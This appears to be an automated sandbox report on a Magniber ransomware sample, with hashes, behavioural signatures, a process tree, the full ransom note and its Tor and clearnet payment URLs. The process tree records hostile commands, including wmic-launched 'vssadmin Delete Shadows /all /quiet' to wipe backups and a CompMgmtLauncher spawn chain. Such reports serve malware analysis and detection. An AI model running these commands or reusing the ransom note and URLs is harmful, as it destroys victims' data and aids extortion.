Analysis

  • max time kernel
    106s
  • max time network
    149s
  • platform
    windows7_x64
  • resource
    win7v20210408
  • submitted
    22/06/2021, 15:20

General

  • Target

    10.exe

  • Size

    21KB

  • MD5

    89dec4d6bfe84c184bba66cb88e9e9b1

  • SHA1

    9ef17ae9e70f9ce851a2460028da272d4828e270

  • SHA256

    2852f76a016cf31d51a7d59a77857bee6285f59c95d6bcb8cd83b83640adbb69

  • SHA512

    37f057cf49cc6e2626e6a3881898cff4d1956bfe73770f7bf35c0e2afbcd04f772eed88ea997eda74c402986d7d234f58269efe695a4a25eddfe7ded8e98a4c0

Score
10/10

Malware Config

Extracted

Path

C:\Users\Admin\Desktop\readme.txt

Family

magniber

Ransom Note
ALL YOUR DOCUMENTS PHOTOS DATABASES AND OTHER IMPORTANT FILES HAVE BEEN ENCRYPTED! ==================================================================================================== Your files are NOT damaged! Your files are modified only. This modification is reversible. The only 1 way to decrypt your files is to receive the private key and decryption program. Any attempts to restore your files with the third party software will be fatal for your files! ==================================================================================================== To receive the private key and decryption program follow the instructions below: 1. Download "Tor Browser" from https://www.torproject.org/ and install it. 2. In the "Tor Browser" open your personal page here: http://20fcec4066784a708aovlamrdt.5s4ixqul2enwxrqv.onion/ovlamrdt Note! This page is available via "Tor Browser" only. ==================================================================================================== Also you can use temporary addresses on your personal page without using "Tor Browser": http://20fcec4066784a708aovlamrdt.dayhit.xyz/ovlamrdt http://20fcec4066784a708aovlamrdt.bestep.cyou/ovlamrdt http://20fcec4066784a708aovlamrdt.ownhits.space/ovlamrdt http://20fcec4066784a708aovlamrdt.plughas.casa/ovlamrdt Note! These are temporary addresses! They will be available for a limited amount of time!
URLs

http://20fcec4066784a708aovlamrdt.5s4ixqul2enwxrqv.onion/ovlamrdt

http://20fcec4066784a708aovlamrdt.dayhit.xyz/ovlamrdt

http://20fcec4066784a708aovlamrdt.bestep.cyou/ovlamrdt

http://20fcec4066784a708aovlamrdt.ownhits.space/ovlamrdt

http://20fcec4066784a708aovlamrdt.plughas.casa/ovlamrdt

Signatures

  • Magniber Ransomware

    Ransomware family widely seen in Asia being distributed by the Magnitude exploit kit.

  • Process spawned unexpected child process 9 IoCs

    This typically indicates the parent process was compromised via an exploit or macro.

  • Deletes shadow copies 2 TTPs

    Ransomware often targets backup files to inhibit system recovery.

  • Modifies extensions of user files 10 IoCs

    Ransomware generally changes the extension on encrypted files.

  • Suspicious use of SetThreadContext 3 IoCs
  • Interacts with shadow copies 2 TTPs 4 IoCs

    Shadow copies are often targeted by ransomware to inhibit system recovery.

  • Modifies Internet Explorer settings 1 TTPs 34 IoCs
  • Modifies registry class 11 IoCs
  • Opens file in notepad (likely ransom note) 1 IoCs
  • Suspicious behavior: EnumeratesProcesses 2 IoCs
  • Suspicious behavior: MapViewOfSection 3 IoCs
  • Suspicious use of AdjustPrivilegeToken 64 IoCs
  • Suspicious use of FindShellTrayWindow 6 IoCs
  • Suspicious use of SendNotifyMessage 8 IoCs
  • Suspicious use of SetWindowsHookEx 6 IoCs
  • Suspicious use of WriteProcessMemory 64 IoCs

Processes

  • C:\Windows\Explorer.EXE
    C:\Windows\Explorer.EXE
    1⤵
    • Modifies registry class
    • Suspicious use of AdjustPrivilegeToken
    • Suspicious use of FindShellTrayWindow
    • Suspicious use of SendNotifyMessage
    • Suspicious use of WriteProcessMemory
    PID:1244
    • C:\Users\Admin\AppData\Local\Temp\10.exe
      "C:\Users\Admin\AppData\Local\Temp\10.exe"
      2⤵
      • Suspicious use of SetThreadContext
      • Modifies registry class
      • Suspicious behavior: EnumeratesProcesses
      • Suspicious behavior: MapViewOfSection
      • Suspicious use of WriteProcessMemory
      PID:748
      • C:\Windows\system32\cmd.exe
        cmd.exe /c "%SystemRoot%\system32\wbem\wmic process call create "cmd /c CompMgmtLauncher.exe""
        3⤵
        • Suspicious use of WriteProcessMemory
        PID:1544
        • C:\Windows\system32\wbem\WMIC.exe
          C:\Windows\system32\wbem\wmic process call create "cmd /c CompMgmtLauncher.exe"
          4⤵
          • Suspicious use of AdjustPrivilegeToken
          PID:1964
      • C:\Windows\system32\cmd.exe
        cmd.exe /c "%SystemRoot%\system32\wbem\wmic process call create "cmd /c CompMgmtLauncher.exe""
        3⤵
        • Suspicious use of WriteProcessMemory
        PID:1468
        • C:\Windows\system32\wbem\WMIC.exe
          C:\Windows\system32\wbem\wmic process call create "cmd /c CompMgmtLauncher.exe"
          4⤵
          • Suspicious use of AdjustPrivilegeToken
          PID:520
    • C:\Windows\system32\cmd.exe
      cmd.exe /c "%SystemRoot%\system32\wbem\wmic process call create "cmd /c CompMgmtLauncher.exe""
      2⤵
      • Suspicious use of WriteProcessMemory
      PID:2008
      • C:\Windows\system32\wbem\WMIC.exe
        C:\Windows\system32\wbem\wmic process call create "cmd /c CompMgmtLauncher.exe"
        3⤵
          PID:524
    • C:\Windows\system32\Dwm.exe
      "C:\Windows\system32\Dwm.exe"
      1⤵
      • Modifies registry class
      • Suspicious use of WriteProcessMemory
      PID:1180
      • C:\Windows\system32\cmd.exe
        cmd.exe /c "%SystemRoot%\system32\wbem\wmic process call create "cmd /c CompMgmtLauncher.exe""
        2⤵
        • Suspicious use of WriteProcessMemory
        PID:532
        • C:\Windows\system32\wbem\WMIC.exe
          C:\Windows\system32\wbem\wmic process call create "cmd /c CompMgmtLauncher.exe"
          3⤵
            PID:1572
      • C:\Windows\system32\taskhost.exe
        "taskhost.exe"
        1⤵
        • Modifies extensions of user files
        • Modifies registry class
        • Suspicious use of WriteProcessMemory
        PID:1120
        • C:\Windows\system32\notepad.exe
          notepad.exe C:\Users\Public\readme.txt
          2⤵
          • Opens file in notepad (likely ransom note)
          PID:1196
        • C:\Windows\system32\cmd.exe
          cmd /c "start http://20fcec4066784a708aovlamrdt.dayhit.xyz/ovlamrdt^&1^&44027677^&84^&381^&12"
          2⤵
          • Suspicious use of WriteProcessMemory
          PID:900
          • C:\Program Files\Internet Explorer\iexplore.exe
            "C:\Program Files\Internet Explorer\iexplore.exe" http://20fcec4066784a708aovlamrdt.dayhit.xyz/ovlamrdt&1&44027677&84&381&12
            3⤵
            • Modifies Internet Explorer settings
            • Suspicious use of FindShellTrayWindow
            • Suspicious use of SetWindowsHookEx
            • Suspicious use of WriteProcessMemory
            PID:1772
            • C:\Program Files (x86)\Internet Explorer\IEXPLORE.EXE
              "C:\Program Files (x86)\Internet Explorer\IEXPLORE.EXE" SCODEF:1772 CREDAT:275457 /prefetch:2
              4⤵
              • Modifies Internet Explorer settings
              • Suspicious use of SetWindowsHookEx
              PID:2112
        • C:\Windows\system32\cmd.exe
          cmd.exe /c "%SystemRoot%\system32\wbem\wmic process call create "cmd /c CompMgmtLauncher.exe""
          2⤵
          • Suspicious use of WriteProcessMemory
          PID:1496
          • C:\Windows\system32\wbem\WMIC.exe
            C:\Windows\system32\wbem\wmic process call create "cmd /c CompMgmtLauncher.exe"
            3⤵
            • Suspicious use of AdjustPrivilegeToken
            PID:1596
      • C:\Windows\system32\cmd.exe
        cmd /c CompMgmtLauncher.exe
        1⤵
        • Process spawned unexpected child process
        • Suspicious use of WriteProcessMemory
        PID:2052
        • C:\Windows\system32\CompMgmtLauncher.exe
          CompMgmtLauncher.exe
          2⤵
          • Suspicious use of WriteProcessMemory
          PID:2240
          • C:\Windows\system32\wbem\wmic.exe
            "C:\Windows\system32\wbem\wmic.exe" process call create "vssadmin.exe Delete Shadows /all /quiet"
            3⤵
              PID:2408
        • C:\Windows\system32\cmd.exe
          cmd /c CompMgmtLauncher.exe
          1⤵
          • Process spawned unexpected child process
          • Suspicious use of WriteProcessMemory
          PID:2060
          • C:\Windows\system32\CompMgmtLauncher.exe
            CompMgmtLauncher.exe
            2⤵
              PID:2296
              • C:\Windows\system32\wbem\wmic.exe
                "C:\Windows\system32\wbem\wmic.exe" process call create "vssadmin.exe Delete Shadows /all /quiet"
                3⤵
                  PID:2516
            • C:\Windows\system32\cmd.exe
              cmd /c CompMgmtLauncher.exe
              1⤵
              • Process spawned unexpected child process
              • Suspicious use of WriteProcessMemory
              PID:2120
              • C:\Windows\system32\CompMgmtLauncher.exe
                CompMgmtLauncher.exe
                2⤵
                  PID:2268
              • C:\Windows\system32\cmd.exe
                cmd /c CompMgmtLauncher.exe
                1⤵
                • Process spawned unexpected child process
                • Suspicious use of WriteProcessMemory
                PID:2096
                • C:\Windows\system32\CompMgmtLauncher.exe
                  CompMgmtLauncher.exe
                  2⤵
                  • Suspicious use of WriteProcessMemory
                  PID:2340
                  • C:\Windows\system32\wbem\wmic.exe
                    "C:\Windows\system32\wbem\wmic.exe" process call create "vssadmin.exe Delete Shadows /all /quiet"
                    3⤵
                      PID:2456
                • C:\Windows\system32\cmd.exe
                  cmd /c CompMgmtLauncher.exe
                  1⤵
                  • Process spawned unexpected child process
                  • Suspicious use of WriteProcessMemory
                  PID:2084
                  • C:\Windows\system32\CompMgmtLauncher.exe
                    CompMgmtLauncher.exe
                    2⤵
                      PID:2308
                      • C:\Windows\system32\wbem\wmic.exe
                        "C:\Windows\system32\wbem\wmic.exe" process call create "vssadmin.exe Delete Shadows /all /quiet"
                        3⤵
                          PID:2644
                    • C:\Windows\system32\vssadmin.exe
                      vssadmin.exe Delete Shadows /all /quiet
                      1⤵
                      • Process spawned unexpected child process
                      • Interacts with shadow copies
                      PID:2704
                    • C:\Windows\system32\vssadmin.exe
                      vssadmin.exe Delete Shadows /all /quiet
                      1⤵
                      • Process spawned unexpected child process
                      • Interacts with shadow copies
                      PID:2696
                    • C:\Windows\system32\vssadmin.exe
                      vssadmin.exe Delete Shadows /all /quiet
                      1⤵
                      • Process spawned unexpected child process
                      • Interacts with shadow copies
                      PID:2720
                    • C:\Windows\system32\vssadmin.exe
                      vssadmin.exe Delete Shadows /all /quiet
                      1⤵
                      • Process spawned unexpected child process
                      • Interacts with shadow copies
                      PID:2768
                    • C:\Windows\system32\vssvc.exe
                      C:\Windows\system32\vssvc.exe
                      1⤵
                        PID:2880

                      Network

                            MITRE ATT&CK Enterprise v6

                            Replay Monitor

                            Loading Replay Monitor...

                            Downloads

                            • memory/748-92-0x0000000001D00000-0x0000000001D01000-memory.dmp

                              Filesize

                              4KB

                            • memory/748-94-0x0000000001D20000-0x0000000001D21000-memory.dmp

                              Filesize

                              4KB

                            • memory/748-89-0x0000000001CC0000-0x0000000001CC1000-memory.dmp

                              Filesize

                              4KB

                            • memory/748-62-0x0000000000080000-0x0000000000081000-memory.dmp

                              Filesize

                              4KB

                            • memory/748-90-0x0000000001CD0000-0x0000000001CD1000-memory.dmp

                              Filesize

                              4KB

                            • memory/748-61-0x0000000000020000-0x0000000000025000-memory.dmp

                              Filesize

                              20KB

                            • memory/748-93-0x0000000001D10000-0x0000000001D11000-memory.dmp

                              Filesize

                              4KB

                            • memory/748-88-0x0000000001CB0000-0x0000000001CB1000-memory.dmp

                              Filesize

                              4KB

                            • memory/748-65-0x0000000001B40000-0x0000000001B41000-memory.dmp

                              Filesize

                              4KB

                            • memory/748-63-0x0000000000090000-0x0000000000091000-memory.dmp

                              Filesize

                              4KB

                            • memory/748-95-0x0000000001D30000-0x0000000001D31000-memory.dmp

                              Filesize

                              4KB

                            • memory/748-64-0x0000000001B30000-0x0000000001B31000-memory.dmp

                              Filesize

                              4KB

                            • memory/1120-97-0x0000000000220000-0x0000000000224000-memory.dmp

                              Filesize

                              16KB

                            • memory/1196-137-0x000007FEFB561000-0x000007FEFB563000-memory.dmp

                              Filesize

                              8KB

                            • memory/1244-60-0x0000000002700000-0x0000000002710000-memory.dmp

                              Filesize

                              64KB

                            • memory/2112-153-0x0000000075041000-0x0000000075043000-memory.dmp

                              Filesize

                              8KB